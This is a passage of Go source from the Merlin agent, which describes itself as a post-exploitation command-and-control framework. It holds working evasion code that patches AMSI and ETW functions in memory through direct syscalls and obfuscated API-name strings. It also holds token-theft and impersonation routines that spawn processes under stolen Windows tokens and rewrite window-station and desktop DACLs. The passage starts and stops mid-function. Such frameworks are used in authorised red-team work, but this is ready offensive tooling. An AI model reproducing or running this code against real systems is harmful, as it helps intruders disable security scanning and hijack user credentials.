err = windows.ReadProcessMemory(windows.CurrentProcess(), target.Addr(), &data[0], uintptr(byteLength), readBytes)
if err != nil {
return data, err
}
return data, nil
}
// ReadBanana will find the target procedure and overwrite the start of its function with the provided bytes directly
// using the NtReadVirtualMemory syscall
func ReadBanana(module string, proc string, byteLength int) ([]byte, error) {
target := syscall.NewLazyDLL(module).NewProc(proc)
err := target.Find()
if err != nil {
return nil, err
}
data := make([]byte, byteLength)
banana, err := bananaphone.NewBananaPhone(bananaphone.AutoBananaPhoneMode)
if err != nil {
return data, err
}
NtReadVirtualMemory, err := banana.GetSysID("NtReadVirtualMemory")
if err != nil {
return data, err
}
ret, err := bananaphone.Syscall(NtReadVirtualMemory, uintptr(0xffffffffffffffff), target.Addr(), uintptr(unsafe.Pointer(&data[0])), uintptr(byteLength), 0)
if ret != 0 || err != nil {
return data, fmt.Errorf("there was an error making the NtReadVirtualMemory syscall with a return of %d: %s", 0, err)
}
//fmt.Printf("Read %v bytes from %s!%s: %X\n", byteLength, module, proc, data)
return data, nil
}
// Write will find the target module and procedure and overwrite the start of the function with the provided bytes
func Write(module string, proc string, data *[]byte) error {
target := syscall.NewLazyDLL(module).NewProc(proc)
err := target.Find()
if err != nil {
return err
}
virtualProtect := syscall.NewLazyDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'})).NewProc(string([]byte{'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't'}))
var oldProtect uint32
ret, _, err := virtualProtect.Call(uintptr(unsafe.Pointer(target)), uintptr(len(*data)), uintptr(uint32(windows.PAGE_EXECUTE_READWRITE)), uintptr(unsafe.Pointer(&oldProtect)))
if ret == 0 || err != syscall.Errno(0) {
return fmt.Errorf("there was an error calling Kernel32!VirtualProtect with return code %d: %s\n", ret, err)
}
var writeBytes *uintptr
data2 := *data
err = windows.WriteProcessMemory(windows.CurrentProcess(), target.Addr(), &data2[0], uintptr(len(*data)), writeBytes)
if err != nil {
return err
}
ret, _, err = virtualProtect.Call(uintptr(unsafe.Pointer(target)), uintptr(len(*data)), uintptr(oldProtect), uintptr(unsafe.Pointer(&oldProtect)))
if ret == 0 || err != syscall.Errno(0) {
return fmt.Errorf("there was an error calling Kernel32!VirtualProtect with return code %d: %s\n", ret, err)
}
return nil
}
// WriteBanana will find the target module and procedure and overwrite the start of the function with the provided bytes
// using the ZwWriteVirtualMemory syscall directly
func WriteBanana(module string, proc string, data *[]byte) error {
target := syscall.NewLazyDLL(module).NewProc(proc)
err := target.Find()
if err != nil {
return err
}
banana, err := bananaphone.NewBananaPhone(bananaphone.AutoBananaPhoneMode)
if err != nil {
return err
}
ZwWriteVirtualMemory, err := banana.GetSysID("ZwWriteVirtualMemory")
if err != nil {
return err
}
NtProtectVirtualMemory, err := banana.GetSysID("NtProtectVirtualMemory")
if err != nil {
return err
}
baseAddress := target.Addr()
numberOfBytesToProtect := uintptr(len(*data))
var oldProtect uint32
// http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtWriteVirtualMemory.html
ret, err := bananaphone.Syscall(NtProtectVirtualMemory, uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&baseAddress)), uintptr(unsafe.Pointer(&numberOfBytesToProtect)), syscall.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
if ret != 0 || err != nil {
return fmt.Errorf("there was an error making the NtProtectVirtualMemory syscall with a return of %d: %s", 0, err)
}
// http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtWriteVirtualMemory.html
ret, err = bananaphone.Syscall(ZwWriteVirtualMemory, uintptr(0xffffffffffffffff), target.Addr(), uintptr(unsafe.Pointer(&[]byte(*data)[0])), unsafe.Sizeof(*data), 0)
if ret != 0 || err != nil {
return fmt.Errorf("there was an error making the ZwWriteVirtualMemory syscall with a return of %d: %s", 0, err)
}
ret, err = bananaphone.Syscall(NtProtectVirtualMemory, uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&baseAddress)), uintptr(unsafe.Pointer(&numberOfBytesToProtect)), uintptr(oldProtect), uintptr(unsafe.Pointer(&oldProtect)))
if ret != 0 || err != nil {
return fmt.Errorf("there was an error making the NtProtectVirtualMemory syscall with a return of %d: %s", 0, err)
}
//fmt.Printf("Wrote %d bytes from %s!%s: %X\n", len(*data), module, proc, *data)
return nil
}
================================================
FILE: os/windows/pkg/evasion/evasion_386.go
================================================
//go:build windows && !amd64
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package evasion
import (
// Standard
"fmt"
)
// Patch will find the target procedure and overwrite the start of its function with the provided bytes.
// Used to for evasion to patch things like amsi.dll!AmsiScanBuffer or ntdll.dll!EtwEvenWrite
func Patch(module string, proc string, data *[]byte) (string, error) {
return "", fmt.Errorf("cannot patch %s!%s on x86 architecture", module, proc)
}
// Read will find the target module and procedure address and then read its byteLength
func Read(module string, proc string, byteLength int) ([]byte, error) {
return []byte{}, fmt.Errorf("cannot read %d bytes for %s!%s on x86 architecture", byteLength, module, proc)
}
// ReadBanana will find the target procedure and overwrite the start of its function with the provided bytes directly
// using the NtReadVirtualMemory syscall
func ReadBanana(module string, proc string, byteLength int) ([]byte, error) {
return []byte{}, fmt.Errorf("cannot read %d bytes for %s!%s on x86 architecture", byteLength, module, proc)
}
// Write will find the target module and procedure and overwrite the start of the function with the provided bytes
func Write(module string, proc string, data *[]byte) error {
return fmt.Errorf("cannot write %d bytes for %s!%s on x86 architecture", len(*data), module, proc)
}
// WriteBanana will find the target module and procedure and overwrite the start of the function with the provided bytes
// using the ZwWriteVirtualMemory syscall directly
func WriteBanana(module string, proc string, data *[]byte) error {
return fmt.Errorf("cannot write %d bytes for %s!%s on x86 architecture", len(*data), module, proc)
}
================================================
FILE: os/windows/pkg/pipes/pipes.go
================================================
//go:build windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package pipes
import (
// Standard
"fmt"
"unicode/utf8"
// X Packages
"golang.org/x/sys/windows"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/text"
)
// CreateAnonymousPipes creates and returns a handle for STDIN, STDOUT, and STDERR
func CreateAnonymousPipes() (stdInRead, stdInWrite, stdOutRead, stdOutWrite, stdErrRead, stdErrWrite windows.Handle, err error) {
// Pipe Security Attributes
// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v=vs.85)
sa := &windows.SecurityAttributes{
InheritHandle: 1,
}
// Create anonymous pipe for STDIN
err = windows.CreatePipe(&stdInRead, &stdInWrite, sa, 0)
if err != nil {
err = fmt.Errorf("error creating the STDIN pipe:\r\n%s", err)
return
}
// Create anonymous pipe for STDOUT
err = windows.CreatePipe(&stdOutRead, &stdOutWrite, sa, 0)
if err != nil {
err = fmt.Errorf("error creating the STDOUT pipe:\r\n%s", err)
return
}
// Create anonymous pipe for STDERR
err = windows.CreatePipe(&stdErrRead, &stdErrWrite, sa, 0)
if err != nil {
err = fmt.Errorf("error creating the STDERR pipe:\r\n%s", err)
return
}
err = nil
return
}
// ClosePipes closes the handle for all the passed in STDIN, STDOUT, and STDERR read and write handles
func ClosePipes(stdInRead, stdInWrite, stdOutRead, stdOutWrite, stdErrRead, stdErrWrite windows.Handle) (err error) {
// STDIN - Read
if stdInRead != 0 {
err = windows.CloseHandle(stdInRead)
if err != nil {
err = fmt.Errorf("error closing the STDIN read pipe handle: %s", err)
return
}
}
// STDIN - Write
if stdInWrite != 0 {
err = windows.CloseHandle(stdInWrite)
if err != nil {
err = fmt.Errorf("error closing the STDIN write pipe handle: %s", err)
return
}
}
// STDOUT - Read
if stdOutRead != 0 {
err = windows.CloseHandle(stdOutRead)
if err != nil {
err = fmt.Errorf("error closing the STDOUT read pipe handle: %s", err)
return
}
}
// STDOUT - Write
if stdOutWrite != 0 {
err = windows.CloseHandle(stdOutWrite)
if err != nil {
err = fmt.Errorf("error closing the STDOUT write pipe handle: %s", err)
return
}
}
// STDERR - Read
if stdErrRead != 0 {
err = windows.CloseHandle(stdErrRead)
if err != nil {
err = fmt.Errorf("error closing the STDERR read pipe handle: %s", err)
return
}
}
// STDERR - Write
if stdErrWrite != 0 {
err = windows.CloseHandle(stdErrWrite)
if err != nil {
err = fmt.Errorf("error closing the STDERR write pipe handle: %s", err)
return
}
}
err = nil
return
}
// ReadPipes reads data from the passed in STDIN, STDOUT, and STDERR pipes and returns it as a string
func ReadPipes(stdInRead, stdOutRead, stdErrRead windows.Handle) (stdin, stdout, stderr string, err error) {
// Read STDOUT from child process
/*
BOOL ReadFile(
HANDLE hFile,
LPVOID lpBuffer,
DWORD nNumberOfBytesToRead,
LPDWORD lpNumberOfBytesRead,
LPOVERLAPPED lpOverlapped
);
*/
nNumberOfBytesToRead := make([]byte, 1)
// STDIN
if stdInRead != 0 {
// Read STDIN
var stdInBuffer []byte
var stdInDone uint32
var stdInOverlapped windows.Overlapped
for {
errReadFileStdErr := windows.ReadFile(stdInRead, nNumberOfBytesToRead, &stdInDone, &stdInOverlapped)
if errReadFileStdErr != nil && errReadFileStdErr.Error() != "The pipe has been ended." {
stderr = fmt.Sprintf("error reading from STDIN pipe: %s", errReadFileStdErr)
return
}
if int(stdInDone) == 0 {
break
}
for _, b := range nNumberOfBytesToRead {
stdInBuffer = append(stdInBuffer, b)
}
}
stdin = string(stdInBuffer)
}
// STDOUT
if stdOutRead != 0 {
var stdOutBuffer []byte
var stdOutDone uint32
var stdOutOverlapped windows.Overlapped
// ReadFile on STDOUT pipe
for {
errReadFileStdOut := windows.ReadFile(stdOutRead, nNumberOfBytesToRead, &stdOutDone, &stdOutOverlapped)
if errReadFileStdOut != nil && errReadFileStdOut.Error() != "The pipe has been ended." {
stderr = fmt.Sprintf("error reading from STDOUT pipe: %s", errReadFileStdOut)
return
}
if int(stdOutDone) == 0 {
break
}
for _, b := range nNumberOfBytesToRead {
stdOutBuffer = append(stdOutBuffer, b)
}
}
// Convert the output to a string
if utf8.Valid(stdOutBuffer) {
stdout += string(stdOutBuffer)
} else {
s, e := text.DecodeString(stdOutBuffer)
if e != nil {
stderr = fmt.Sprintf("%s\n", e)
} else {
stdout += s
}
}
}
// STDERR
if stdErrRead != 0 {
// Read STDERR
var stdErrBuffer []byte
var stdErrDone uint32
var stdErrOverlapped windows.Overlapped
for {
errReadFileStdErr := windows.ReadFile(stdErrRead, nNumberOfBytesToRead, &stdErrDone, &stdErrOverlapped)
if errReadFileStdErr != nil && errReadFileStdErr.Error() != "The pipe has been ended." {
stderr = fmt.Sprintf("error reading from STDOUT pipe: %s", errReadFileStdErr)
return
}
if int(stdErrDone) == 0 {
break
}
for _, b := range nNumberOfBytesToRead {
stdErrBuffer = append(stdErrBuffer, b)
}
}
// Convert the output to a string
if utf8.Valid(stdErrBuffer) {
stderr += string(stdErrBuffer)
} else {
s, e := text.DecodeString(stdErrBuffer)
if e != nil {
stderr = fmt.Sprintf("%s\n", e)
} else {
stderr += s
}
}
}
err = nil
return
}
================================================
FILE: os/windows/pkg/processes/processes.go
================================================
//go:build windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package processes
import (
// Standard
"fmt"
"os/exec"
"strings"
"syscall"
// X Packages
"golang.org/x/sys/windows"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/os/windows/api/advapi32"
"github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/pipes"
)
// LOGON_ The logon option
const (
LOGON_WITH_PROFILE uint32 = 0x1
LOGON_NETCREDENTIALS_ONLY uint32 = 0x2
)
// CreateProcessWithLogon creates a new process and its primary thread. Then the new process runs the specified
// executable file in the security context of the specified credentials (user, domain, and password).
// It can optionally load the user profile for a specified user.
// This wrapper function performs validation checks on input arguments and converts them to the necessary type
func CreateProcessWithLogon(username string, domain string, password string, application string, args string, logon uint32, hide bool) (stdout string, stderr string) {
if username == "" {
stderr = "a username must be provided for the CreateProcessWithLogon call"
return
}
if password == "" {
stderr = "a password must be provided for the CreateProcessWithLogon call"
return
}
if application == "" {
stderr = "an application must be provided for the CreateProcessWithLogon call"
return
}
// Check for UPN format (e.g., rastley@acme.com)
if strings.Contains(username, "@") {
temp := strings.Split(username, "@")
username = temp[0]
domain = temp[1]
}
// Check for domain format (e.g., ACME\rastley)
if strings.Contains(username, "\\") {
temp := strings.Split(username, "\\")
username = temp[1]
domain = temp[0]
}
// Check for an empty or missing domain; used with local user accounts
if domain == "" {
domain = "."
}
// Convert the username to a LPCWSTR
lpUsername, err := syscall.UTF16PtrFromString(username)
if err != nil {
stderr = fmt.Sprintf("there was an error converting the username \"%s\" to LPCWSTR: %s", username, err)
return
}
// Convert the domain to a LPCWSTR
lpDomain, err := syscall.UTF16PtrFromString(domain)
if err != nil {
stderr = fmt.Sprintf("there was an error converting the domain \"%s\" to LPCWSTR: %s", domain, err)
return
}
// Convert the password to a LPCWSTR
lpPassword, err := syscall.UTF16PtrFromString(password)
if err != nil {
stderr = fmt.Sprintf("there was an error converting the password \"%s\" to LPCWSTR: %s", password, err)
return
}
// Search PATH environment variable to retrieve the application's absolute path
application, err = exec.LookPath(application)
if err != nil {
stderr = fmt.Sprintf("there was an error resolving the absolute path for %s: %s", application, err)
return
}
// Convert the application to a LPCWSTR
lpApplicationName, err := syscall.UTF16PtrFromString(application)
if err != nil {
stderr = fmt.Sprintf("there was an error converting the application name \"%s\" to LPCWSTR: %s", application, err)
return
}
// Convert the program to a LPCWSTR
lpCommandLine, err := syscall.UTF16PtrFromString(args)
if err != nil {
stderr = fmt.Sprintf("there was an error converting the application arguments \"%s\" to LPCWSTR: %s", args, err)
return
}
// Setup pipes to retrieve output
stdInRead, _, stdOutRead, stdOutWrite, stdErrRead, stdErrWrite, err := pipes.CreateAnonymousPipes()
if err != nil {
stderr = fmt.Sprintf("there was an error creating anonymous pipes to collect output: %s", err)
return
}
lpCurrentDirectory := uint16(0)
lpStartupInfo := windows.StartupInfo{
StdInput: stdInRead,
StdOutput: stdOutWrite,
StdErr: stdErrWrite,
Flags: windows.STARTF_USESTDHANDLES,
}
if hide {
lpStartupInfo.Flags = windows.STARTF_USESTDHANDLES | windows.STARTF_USESHOWWINDOW
lpStartupInfo.ShowWindow = windows.SW_HIDE
}
lpProcessInformation := windows.ProcessInformation{}
err = advapi32.CreateProcessWithLogon(
lpUsername,
lpDomain,
lpPassword,
logon,
lpApplicationName,
lpCommandLine,
0,
0,
&lpCurrentDirectory,
&lpStartupInfo,
&lpProcessInformation,
)
if err != nil {
stderr += err.Error()
return
}
stdout += fmt.Sprintf("Created %s process with an ID of %d\n", application, lpProcessInformation.ProcessId)
// Close the "write" pipe handles
err = pipes.ClosePipes(0, 0, 0, stdOutWrite, 0, stdErrWrite)
if err != nil {
stderr = err.Error()
return
}
// Read from the pipes
var out string
_, out, stderr, err = pipes.ReadPipes(0, stdOutRead, stdErrRead)
if err != nil {
stderr += err.Error()
return
}
stdout += out
// Close the "read" pipe handles
err = pipes.ClosePipes(stdInRead, 0, stdOutRead, 0, stdErrRead, 0)
if err != nil {
stderr += err.Error()
return
}
return
}
================================================
FILE: os/windows/pkg/text/text.go
================================================
//go:build windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package text
import (
// Standard
"bytes"
"fmt"
"io"
// X Packages
"golang.org/x/sys/windows"
"golang.org/x/text/encoding/japanese"
"golang.org/x/text/encoding/korean"
"golang.org/x/text/encoding/simplifiedchinese"
"golang.org/x/text/encoding/traditionalchinese"
"golang.org/x/text/transform"
)
// DecodeString decodes a byte slice to a string using the current code page
func DecodeString(encoded []byte) (decoded string, err error) {
codePage := windows.GetACP()
switch codePage {
// 437 is the default code page for US English
case 437:
decoded = string(encoded)
return
// 932 is the default code page for Japanese
case 932:
t, e := io.ReadAll(transform.NewReader(bytes.NewReader(encoded), japanese.ShiftJIS.NewDecoder()))
if e != nil {
err = fmt.Errorf("os/windows/pkg/text.DecodeString(): there was an error decoding the string to ShiftJIS: %s", e)
return
}
decoded = string(t)
// 936 is the default code page for Simplified Chinese
case 936:
t, e := io.ReadAll(transform.NewReader(bytes.NewReader(encoded), simplifiedchinese.GBK.NewDecoder()))
if e != nil {
err = fmt.Errorf("os/windows/pkg/text.DecodeString(): there was an error decoding the string to Simplified Chinese GBK: %s", e)
return
}
decoded = string(t)
// 949 is the default code page for Korean
case 949:
t, e := io.ReadAll(transform.NewReader(bytes.NewReader(encoded), korean.EUCKR.NewDecoder()))
if e != nil {
err = fmt.Errorf("os/windows/pkg/text.DecodeString(): there was an error decoding the string to Korean EUCKR: %s", e)
return
}
decoded = string(t)
// 950 is the default code page for Traditional Chinese
case 950:
t, e := io.ReadAll(transform.NewReader(bytes.NewReader(encoded), traditionalchinese.Big5.NewDecoder()))
if e != nil {
err = fmt.Errorf("os/windows/pkg/text.DecodeString(): there was an error decoding the string to Traditional Chinese Big5: %s", e)
return
}
decoded = string(t)
default:
decoded = fmt.Sprintf("\n***The output was not valid UTF-8 and there isn't a configured decoder for code page %d***\n\n", codePage)
decoded += string(bytes.ToValidUTF8(encoded, []byte("�")))
}
return
}
================================================
FILE: os/windows/pkg/tokens/tokens.go
================================================
//go:build windows
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
package tokens
import (
// Standard
"bytes"
"encoding/binary"
"fmt"
"os/exec"
"strings"
"syscall"
"unsafe"
// X Packages
"golang.org/x/sys/windows"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-agent/v2/os/windows/api/advapi32"
"github.com/Ne0nd0g/merlin-agent/v2/os/windows/api/user32"
"github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/pipes"
)
// LOGON32_LOGON_ constants from winbase.h
// The type of logon operation to perform
const (
LOGON32_LOGON_INTERACTIVE uint32 = 2
LOGON32_LOGON_NETWORK uint32 = 3
LOGON32_LOGON_BATCH uint32 = 4
LOGON32_LOGON_SERVICE uint32 = 5
LOGON32_LOGON_UNLOCK uint32 = 7
LOGON32_LOGON_NETWORK_CLEARTEXT uint32 = 8
LOGON32_LOGON_NEW_CREDENTIALS uint32 = 9
)
// LOGON32_PROVIDER_ constants
// The logon provider
const (
LOGON32_PROVIDER_DEFAULT uint32 = iota
LOGON32_PROVIDER_WINNT35
LOGON32_PROVIDER_WINNT40
LOGON32_PROVIDER_WINNT50
LOGON32_PROVIDER_VIRTUAL
)
// LOGON_ The logon option
const (
LOGON_WITH_PROFILE uint32 = 0x1
LOGON_NETCREDENTIALS_ONLY uint32 = 0x2
)
var Token windows.Token
// ApplyToken applies any stolen or created Windows access token's to the current thread
func ApplyToken() error {
cli.Message(cli.DEBUG, "entering tokens.ApplyToken()")
// Verify a token has been created/stolen and assigned to the global variable
if Token != 0 {
// Apply the token to this process thread
return advapi32.ImpersonateLoggedOnUser(Token)
}
return nil
}
// CreateProcessWithToken creates a new process as the user associated with the passed in token
// STDOUT/STDERR is redirected to an anonymous pipe and collected after execution to be returned
// This requires administrative privileges or at least the SE_IMPERSONATE_NAME privilege
func CreateProcessWithToken(hToken windows.Token, application string, args []string) (stdout string, stderr string) {
cli.Message(cli.DEBUG, "entering tokens.CreateProcessWithToken()")
if application == "" {
stderr = "a program must be provided for the CreateProcessWithToken call"
return
}
priv := "SeImpersonatePrivilege"
name, err := syscall.UTF16PtrFromString(priv)
if err != nil {
stderr = fmt.Sprintf("there was an error converting the privilege \"%s\" to LPCWSTR: %s", priv, err)
}
// Verify that the calling process has the SE_IMPERSONATE_NAME privilege
var systemName uint16
var luid windows.LUID
err = windows.LookupPrivilegeValue(&systemName, name, &luid)
if err != nil {
stderr = err.Error()
return
}
hasPriv, err := hasPrivilege(windows.GetCurrentProcessToken(), luid)
if err != nil {
stderr = "the provided access token does not have the SeImpersonatePrivilege and can't be used to create a process"
return
}
// TODO try to enable the priv before returning with an error
if !hasPriv {
stderr = "the provided access token does not have the SeImpersonatePrivilege and therefore can't be used to call CreateProcessWithToken"
return
}
// Get Process Token TOKEN_STATISTICS structure
statProc, err := GetTokenStats(hToken)
if err != nil {
stderr = err.Error()
return
}
if statProc.TokenType != windows.TokenPrimary {
stderr = "A PRIMARY Windows access token was not provided to tokens.CreateProcessWithToken()"
return
}
// TODO verify the provided token has the TOKEN_QUERY, TOKEN_DUPLICATE, and TOKEN_ASSIGN_PRIMARY access rights
// Search PATH environment variable to retrieve the application's absolute path
application, err = exec.LookPath(application)
if err != nil {
stderr = fmt.Sprintf("there was an error resolving the absolute path for %s: %s", application, err)
return
}
// Convert the program to a LPCWSTR
lpApplicationName, err := syscall.UTF16PtrFromString(application)
if err != nil {
stderr = fmt.Sprintf("there was an error converting the application name \"%s\" to LPCWSTR: %s", application, err)
return
}
// Convert the program to a LPCWSTR
lpCommandLine, err := syscall.UTF16PtrFromString(strings.Join(args, " "))
if err != nil {
stderr = fmt.Sprintf("there was an error converting the application arguments \"%s\" to LPCWSTR: %s", args, err)
return
}
// Setup pipes to retrieve output
stdInRead, _, stdOutRead, stdOutWrite, stdErrRead, stdErrWrite, err := pipes.CreateAnonymousPipes()
if err != nil {
stderr = err.Error()
return
}
sessionToken, err := GetTokenSessionId(hToken)
if err != nil {
stderr = err.Error()
return
}
var sessionCurrent uint32
err = windows.ProcessIdToSessionId(windows.GetCurrentProcessId(), &sessionCurrent)
if err != nil {
stderr = err.Error()
return
}
// If the calling process (the Merlin agent) and the token are in different window sessions we must allow the token
// user to access the calling session if we are not going to spawn the process in the token's session
// Never figured out if setting the lpDesktop for the STARTUPINFO structure would work
if sessionCurrent != sessionToken {
// Retrieve the passed in token's user information structure to leverage the SID later
user, err := hToken.GetTokenUser()
if err != nil {
stderr = fmt.Sprintf("there was an error calling GetTokenUser: %s\n", err)
return
}
// Create the trustee to add to an ACE
trustee := windows.TRUSTEE{
MultipleTrustee: nil,
MultipleTrusteeOperation: windows.NO_MULTIPLE_TRUSTEE,
TrusteeForm: windows.TRUSTEE_IS_SID,
TrusteeType: windows.TRUSTEE_IS_USER,
TrusteeValue: windows.TrusteeValueFromSID(user.User.Sid),
}
// Create the ACE
// WINSTA_ALL_ACCESS := 0x37F // WINSTA_ALL_ACCESS (0x37F) All possible access rights for the window station.
// WINSTA_READATTRIBUTES := 0x0002 // (0x0002L) Required to read the attributes of a window station object. This attribute includes color settings and other global window station properties.
// WINSTA_WRITEATTRIBUTES := 0x0010 // (0x0010L) Required to modify the attributes of a window station object. The attributes include color settings and other global window station properties.
// WINSTA_ENUMDESKTOPS := 0x0001 // (0x0001L) Required to enumerate existing desktop objects.
// WINSTA_ENUMERATE := 0x0100 // (0x0100L) Required for the window station to be enumerated.
// WINSTA_ACCESSCLIPBOARD := 0x0004 // (0x0004L) Required to use the clipboard.
WINSTA_ACCESSGLOBALATOMS := 0x0020 // (0x0020L) Required to manipulate global atoms. REQUIRED
// WINSTA_CREATEDESKTOP := 0x0008 // (0x0008L) Required to create new desktop objects on the window station.
WINSTA_EXITWINDOWS := 0x0040 // (0x0040L) Required to successfully call the ExitWindows or ExitWindowsEx function. Window stations can be shared by users and this access type can prevent other users of a window station from logging off the window station owner. REQUIRED
// WINSTA_READSCREEN := 0x0200 // (0x0200L) Required to access screen contents.
ace := windows.EXPLICIT_ACCESS{
AccessPermissions: windows.ACCESS_MASK(WINSTA_ACCESSGLOBALATOMS | WINSTA_EXITWINDOWS | windows.READ_CONTROL), // WINSTA_CREATEDESKTOP | WINSTA_READSCREEN | WINSTA_ACCESSCLIPBOARD | WINSTA_WRITEATTRIBUTES | WINSTA_ENUMDESKTOPS | WINSTA_ENUMERATE | WINSTA_READATTRIBUTES |
AccessMode: windows.SET_ACCESS,
Inheritance: windows.NO_INHERITANCE,
Trustee: trustee,
}
si := windows.SECURITY_INFORMATION(windows.DACL_SECURITY_INFORMATION | windows.OWNER_SECURITY_INFORMATION | windows.ATTRIBUTE_SECURITY_INFORMATION | windows.GROUP_SECURITY_INFORMATION | windows.PROTECTED_DACL_SECURITY_INFORMATION | windows.UNPROTECTED_DACL_SECURITY_INFORMATION)
// Get a handle to the window station
hWinsta, err := user32.GetProcessWindowStation()
if err != nil {
stderr = err.Error()
return
}
// Retrieve security information (namely the DACL) for the window station
sdStation, err := windows.GetSecurityInfo(windows.Handle(hWinsta), windows.SE_KERNEL_OBJECT, si)
if err != nil {
stderr = fmt.Sprintf("there was an error calling windows.GetSecurityInfo with the window station handle: %s", err)
return
}
//stdout += fmt.Sprintf("Window Station SDDL: %s\n", sdStation)
// Add the new ACE for the token user to the existing security descriptor for the window station
sdStationNew, err := windows.BuildSecurityDescriptor(nil, nil, []windows.EXPLICIT_ACCESS{ace}, nil, sdStation)
if err != nil {
stderr = fmt.Sprintf("there was an error calling windows.BuildSecurityDescriptor for the station: %s\n", err)
return
}
//stdout += fmt.Sprintf("New window station security descriptor: %+v\n", sdStationNew)
// Update the window station security descriptor with the new DACL that contains access rights for the token user
err = windows.SetKernelObjectSecurity(windows.Handle(hWinsta), windows.DACL_SECURITY_INFORMATION, sdStationNew)
if err != nil {
stderr = fmt.Sprintf("there was an error calling windows.SetKernelObjectSecurity: %s\n", err)
return
}
// Defer restoring the original security descriptor for the window station
defer func() {
err = windows.SetKernelObjectSecurity(windows.Handle(hWinsta), windows.DACL_SECURITY_INFORMATION, sdStation)
if err != nil {
stderr += fmt.Sprintf("\nthere was an error calling windows.SetKernelObjectSecurity to restore the "+
"original security descriptor for the window station: %s\n", err)
}
}()
// Get a handle to the desktop securable object
hDesktop, err := user32.GetThreadDesktop(windows.GetCurrentThreadId())
if err != nil {
stderr = err.Error()
return
}
// Get the security information (namely the DACL) for the desktop object
sdDesktop, err := windows.GetSecurityInfo(windows.Handle(hDesktop), windows.SE_KERNEL_OBJECT, si)
if err != nil {
stderr = fmt.Sprintf("there was an error calling windows.GetSecurityInfo with the desktop object handle: %s", err)
return
}
//stdout += fmt.Sprintf("Window Desktop SDDL: %s\n", sdDesktop)
// Update the ACE with the required permissions for the desktop object windows.GENERIC_ALL
DESKTOP_WRITEOBJECTS := 0x0080 // (0x0080L) Required to write objects on the desktop.
DESKTOP_READOBJECTS := 0x0001 // (0x0001L) Required to read objects on the desktop.
// DESKTOP_CREATEMENU := 0x0004 // (0x0004L) Required to create a menu on the desktop.
DESKTOP_CREATEWINDOW := 0x0002 // (0x0002L) Required to create a window on the desktop. REQUIRED
// DESKTOP_ENUMERATE := 0x0040 // (0x0040L) Required for the desktop to be enumerated.
//ace.AccessPermissions = windows.ACCESS_MASK(DESKTOP_CREATEWINDOW) // DESKTOP_ENUMERATE | DESKTOP_CREATEMENU | DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS | WORKS WHEN TOKEN BELONGS TO ADMIN OR PRIMARY USER OF DESKTOP UNSURE WHICH
//ace.AccessPermissions = windows.ACCESS_MASK(windows.GENERIC_ALL) // WORKS
ace.AccessPermissions = windows.ACCESS_MASK(DESKTOP_CREATEWINDOW | DESKTOP_READOBJECTS | DESKTOP_WRITEOBJECTS) // DESKTOP_ENUMERATE | DESKTOP_CREATEMENU
// Add the new ACE for the token user to the existing security descriptor for the desktop object
sdDesktopNew, err := windows.BuildSecurityDescriptor(nil, nil, []windows.EXPLICIT_ACCESS{ace}, nil, sdDesktop)
if err != nil {
stderr = fmt.Sprintf("there was an error calling windows.BuildSecurityDescriptor for the new desktop security descriptor: %s\n", err)
return
}
//stdout += fmt.Sprintf("New Security Descriptor (desktop): %+v\n", sdDesktopNew)
